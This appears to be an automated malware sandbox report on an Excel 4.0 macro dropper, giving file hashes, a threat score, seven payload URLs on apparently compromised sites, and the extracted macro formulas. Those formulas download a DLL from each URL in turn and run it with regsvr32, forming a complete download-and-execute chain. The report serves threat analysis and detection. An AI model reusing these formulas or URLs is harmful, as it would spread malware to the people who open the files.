General

  • Target

    22cb6c2f9194e730a399c0d34a91856fde40f0ece3cf50f03d2f347b4520d67a

  • Size

    20KB

  • Sample

    241121-av26sswfqc

  • MD5

    671a9592e8197f25e6ba7837d57d0b97

  • SHA1

    4c5c10ffa05404a586c4928d6a56b8b30515be4b

  • SHA256

    22cb6c2f9194e730a399c0d34a91856fde40f0ece3cf50f03d2f347b4520d67a

  • SHA512

    a31dc007e272f6a3c91e65a294d89f944d989423966de2d9d1b26035d1a7e1519563e496dab098fa13085ccfaaf6ebffe6737a4cb761655988bcc15d10bba3cf

  • SSDEEP

    384:PA2Y5Vb1GNj20o4CGzPd6ZIwLJKb5CzgObff9kC+xbX7k7aU2d:I2EINro4FLAOCBn9kC+xbLkWf

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://bctconsulting.se/HelenaWEB/Xf1rQukg8HjfItb9x/

https://binaghetta.it/wp-content/gdONbcsI6Q9/

http://bnbengineering.com.pk/cgi-bin/6n8q1OFBzyGyPSJ/

http://bytesenbits.nl/cgi-bin/OjOn8icwhyf22SzegYA/

http://bioscan.ch/backup_nov05/n6S3o4q9dG8050/

http://abildgren.dk/webmail/XY8XstOvGiLx/

http://grworld.com.tr/fonts/TPxLPt9Us5ALpvY/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bctconsulting.se/HelenaWEB/Xf1rQukg8HjfItb9x/","..\kytk.dll",0,0) =IF('SCWVCV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://binaghetta.it/wp-content/gdONbcsI6Q9/","..\kytk.dll",0,0)) =IF('SCWVCV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bnbengineering.com.pk/cgi-bin/6n8q1OFBzyGyPSJ/","..\kytk.dll",0,0)) =IF('SCWVCV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bytesenbits.nl/cgi-bin/OjOn8icwhyf22SzegYA/","..\kytk.dll",0,0)) =IF('SCWVCV'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bioscan.ch/backup_nov05/n6S3o4q9dG8050/","..\kytk.dll",0,0)) =IF('SCWVCV'!D22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://abildgren.dk/webmail/XY8XstOvGiLx/","..\kytk.dll",0,0)) =IF('SCWVCV'!D24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://grworld.com.tr/fonts/TPxLPt9Us5ALpvY/","..\kytk.dll",0,0)) =IF('SCWVCV'!D26<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\kytk.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://bctconsulting.se/HelenaWEB/Xf1rQukg8HjfItb9x/

xlm40.dropper

https://binaghetta.it/wp-content/gdONbcsI6Q9/

xlm40.dropper

http://bnbengineering.com.pk/cgi-bin/6n8q1OFBzyGyPSJ/

xlm40.dropper

http://bytesenbits.nl/cgi-bin/OjOn8icwhyf22SzegYA/

xlm40.dropper

http://bioscan.ch/backup_nov05/n6S3o4q9dG8050/

xlm40.dropper

http://abildgren.dk/webmail/XY8XstOvGiLx/

xlm40.dropper

http://grworld.com.tr/fonts/TPxLPt9Us5ALpvY/

Targets

    • Target

      22cb6c2f9194e730a399c0d34a91856fde40f0ece3cf50f03d2f347b4520d67a

    • Size

      20KB

    • MD5

      671a9592e8197f25e6ba7837d57d0b97

    • SHA1

      4c5c10ffa05404a586c4928d6a56b8b30515be4b

    • SHA256

      22cb6c2f9194e730a399c0d34a91856fde40f0ece3cf50f03d2f347b4520d67a

    • SHA512

      a31dc007e272f6a3c91e65a294d89f944d989423966de2d9d1b26035d1a7e1519563e496dab098fa13085ccfaaf6ebffe6737a4cb761655988bcc15d10bba3cf

    • SSDEEP

      384:PA2Y5Vb1GNj20o4CGzPd6ZIwLJKb5CzgObff9kC+xbX7k7aU2d:I2EINro4FLAOCBn9kC+xbLkWf

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks